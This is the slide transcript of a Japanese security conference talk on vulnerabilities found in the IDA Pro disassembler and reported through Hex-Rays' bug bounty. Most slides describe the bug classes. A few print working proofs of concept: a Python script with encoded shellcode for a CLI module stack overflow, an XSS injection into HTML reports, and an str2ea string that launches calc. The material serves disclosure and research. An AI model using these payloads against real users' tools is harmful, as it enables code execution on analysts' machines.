idaの脆弱性とbug bounty by 千田 雅明

21
IDAの脆弱性とBug Bounty 千田雅明

Upload: code-blue

Post on 22-Nov-2014

913 views

Category:

Technology


6 download

DESCRIPTION

IDA Proとは、高機能な逆アセンブラソフトウェアで、主に脆弱性調査やマルウェアの解析・分析に利用されている。 IDA Proはソフトウェアの詳細な動作を解析するためにものであり、もし脆弱性により利用者が攻撃された場合には、 裁判の結果に影響を及ぼすなどの社会的に大きな影響を及ぼすこともあるとも考えられる。 本講演では、見つかった脆弱性の解説、脆弱性を利用する攻撃のデモ、そしてHex-rays社側の対策内容やHex-rays社とのやり取りについて解説する。 http://codeblue.jp/speaker.html#MasaakiChida

TRANSCRIPT

Page 1: IDAの脆弱性とBug Bounty by 千田 雅明

IDAの脆弱性とBug Bounty

千田雅明

Page 2: IDAの脆弱性とBug Bounty by 千田 雅明

プロフィール

!  セキュリティエンジニア

!  リバースエンジニアリングが趣味

!  sutegoma2として様々なCTFに参加

Page 3: IDAの脆弱性とBug Bounty by 千田 雅明

IDAとは? !  高機能逆アセンブラ

!  マルウェアなどを静的解析する際に利用するソフトウェア

!  Hex-raysのBug Bounty Program !  3000 USDの報奨金 !  IDAとHex-rays Decompilerのリモート攻撃が対象 !  2011年2月頃から開始 !  2014年1月までに11回支払われている

https://www.hex-rays.com/bugbounty.shtml

Page 4: IDAの脆弱性とBug Bounty by 千田 雅明

調査方法

!  IDAで解析 !  IDA Main Program (for windows) !  Loader Modules !  Processor Modules !  Plugins

!  SDK付属のプラグインのソースを読む

!  実行プロセスの動作を監視 !  Sysinternals Tools: Procmon

Page 5: IDAの脆弱性とBug Bounty by 千田 雅明

データの入出力関数の調査 !  Data Read & Copy

!  read, lread, eread, qread, qlread, qfread, !  memcpy, strcpy, strncpy, qstrncpy, …

!  IDB Database !  get_long, get_byte, ger_many_bytes, !  netnode_getblob, netnode_altval, netnode_supval, !  unpack_dd, unpack_ds, unpack_dw, …

!  Heap Allocation !  malloc, calloc, realloc !  qalloc, qcalloc, qrelloc !  qvecto_reserve

Page 6: IDAの脆弱性とBug Bounty by 千田 雅明

スクリプトやコマンド実行関数の調査

!  IDC Script !  CompileEx, CompileLineEx !  str2ea, calcexpr, calcexpr_long, calc_idc_expr, !  Eval, ExecIDC, Execute File, Execute Line,…

!  コマンド実行 !  call_system !  system, CrateProcess,…

Page 7: IDAの脆弱性とBug Bounty by 千田 雅明

発見したIDAの脆弱性一覧 !  Heap Overflow => 多数 !  Stack Overflow => 2個 !  DLL, Script Preloading => 多数 !  Path Traversal => 数個 !  IDCスクリプトの自動実行 !  デバッガーの自動実行

!  ※賞金を得ていないものを含む

Page 8: IDAの脆弱性とBug Bounty by 千田 雅明

Integer Overflowの脆弱性 !  問題点

!  ほぼ全てのモジュールが対象 !  Integer Overflowの対策が皆無 !  qcallocなどの関数内でも対策がない

多くのモジュールでBuffer Overflowにより、悪意のあるコードを実行されてしまう可能性があった

void *__cdecl qcalloc(size_t nitems, size_t itemsize) { void *result; // eax@2 void *v3; // ebx@3 if ( (signed int)(itemsize * nitems) > 0 ) { v3 = calloc(itemsize * nitems, 1u);

Page 9: IDAの脆弱性とBug Bounty by 千田 雅明

整数符号エラーの脆弱性

!  問題点 !  AIF Loader Moduleが対象 !  セクション名を解析時にStack Buffer Overflowが起こる

Stack Buffer Overflowにより、悪意のあるコードを実行されてしまう可能性があった

Page 10: IDAの脆弱性とBug Bounty by 千田 雅明

Classic Buffer Overflowの脆弱性 !  問題点

!  CLI Processor Moduleが対象 !  バイナリをHexの文字列に変換する処理にStack Buffer

Overflow

!  [TODO]

Page 11: IDAの脆弱性とBug Bounty by 千田 雅明

Classic Buffer Overflowの脆弱性 !  特殊なコードの書き込みが必要 !  /GSでコンパイル済み !  スタックへ書き込む際にhexに変換される

!  sprintf(“%02X”, buf[i])

!  [TODO]

Page 12: IDAの脆弱性とBug Bounty by 千田 雅明

Classic Buffer Overflowの脆弱性 from idaapi import *

from struct import *

a = 0x5874768A-0x24

b = 0x5874764A-0x14

shellcode="htIIGX5tIIGHWPPPSRPPafhExfXf5YrfPDfhS3DTY09fhpzfXf5rRfPDTY01fRDfhpQDTY09fh3NfXf50rfPfharfXf5dsfPDTY09hBzPKX5ceLJPDfhptDfh9tDTY01fh6OfXf5jAfPDTY09hinEufhKWDfhkdfXf5WcfPfhnLfXf5g2fPDTY09fhgRDTY01fhQBfhdtfXf5QXfPDfhlHDTY09fhaefXf57jfPDfh5PfXf5lVfPDTY09h7YqoX5RFUnPDfhjLDfhttDTY09fh8wfXf5PvfPDTY09h3YIXX54FiYPDfhatDfhgtDTY01fh7xDfh8pfXf5dofPfhitDTY09fhlzfXf53FfPfhYtDTY09fhGSfXf59KfPfhWtDTY01fhG0DfhRtTYf19fh3ZfXf55VfPDfhnvDfh5tDTY01fh6tfXf5FxfPDfhRvDfhJtDTY09fhr0fhCtDTY01hJRVdDfhlKfXf5MRfPDTY09fhUvDTY09fhmwDfhB4fXf5xhfPhdohchshinfhUifXf5C5fPDhehwshhystfhYjfXf5I6fPDhhm32hcalchexehfhTHfXf54ffPDfhRhfhKifXf5YDfPDTY09fhU1DRVWRTFfVNfhjsfXf5ErfPVUafhrWfYf1Lo9f1To9TXLLLrH"

payload=""

payload+=("1"*8)+(pack("II",a,b)*(9334/8-1))+("\x55"*6)

payload+=shellcode

payload+=("1"*((len(shellcode)&4)+10-(len(shellcode)%4)))+(pack("II",a,b)*(16000/8))

node_id=netnode("$ cli").altval(0x0C000014,'o')

netnode(node_id).setblob(payload,0,'o')

Page 13: IDAの脆弱性とBug Bounty by 千田 雅明

Path Traversalの脆弱性 !  問題点

!  tilファイル内に含まれるファイル名をそのまま結合していた

[TODO]

Page 14: IDAの脆弱性とBug Bounty by 千田 雅明

HTML Injectionの脆弱性 !  問題点

!  解析結果をHTMLで保存した際にHTML Injection可能 !  get_root_filename関数で得られる実行ファイル名をエスケープしていなかった

作成されたHTMLファイルを開いた場合に、XSSの可能性があった

from idaapi import * netnode("RootNode").set("</title><scritp>alert('XSS');</script>") save_database() fp = ecreateT("report.html") gen_file(OFILE_LST, fp, 0, 0, GENFLG_GENHTML) eclose(fp)

Page 15: IDAの脆弱性とBug Bounty by 千田 雅明

Preloadingの脆弱性 !  問題点

!  読み込んだIDBファイルと同じディレクトリから、DLL, IDC Script, Python Scriptをロードしてしまう !  ida.idc, userload.idc !  windbg.exe, dbghelp.dll, dbgeng.dll, … !  idautils.py, idc.py, idaapi.py, …

意図していないファイルを読み込んでしまい、悪意のあるコードが実行される可能性があった

Page 16: IDAの脆弱性とBug Bounty by 千田 雅明

IDC Scirpt自動実行の脆弱性 !  問題点

!  str2ea関数内で暗黙的にIDC Scriptを実行 !  str2ea関数は各種イベント時に利用されている

!  デバッガの実行時 !  Hintの表示時

IDBファイルをロード時に悪意のあるIDC Scriptを実行される可能性があった

str2ea

calcexpr_long

calc_idc_expr

CompileLineEx

Run

Page 17: IDAの脆弱性とBug Bounty by 千田 雅明

str2eaを利用した攻撃 !  IDAのHint表示の動作

!  1. カーソル下の行の文字列を得る !  2. extract_nameに渡す !  3. str2ea関数に渡す

!  extract_name関数 !  ida.cfg内のNameCharsに一致する文字列を返す

!  NameChars !  .net Processor Moduleの場合に”()”などの制御文字が入る

関数呼び出しを成立させる文字列がstr2ea関数に渡る

str2ea(“Exec(char(0x63)+char(0x61)+char(0x6C)+char0x63)”)

Page 18: IDAの脆弱性とBug Bounty by 千田 雅明

Debugger自動実行の脆弱性 !  問題点

!  デバッガを自動起動 !  メモリダンプから作ったIDBファイルをロード時

!  デバッガイベントを自動評価 !  各種Event Condition !  Watch Point View

IDBファイルをロード時に悪意のあるIDC Scriptが実行される可能性があった

Page 19: IDAの脆弱性とBug Bounty by 千田 雅明
Page 20: IDAの脆弱性とBug Bounty by 千田 雅明

Demonstration

Page 21: IDAの脆弱性とBug Bounty by 千田 雅明

まとめ

!  見つけやすい脆弱性が多数残っていた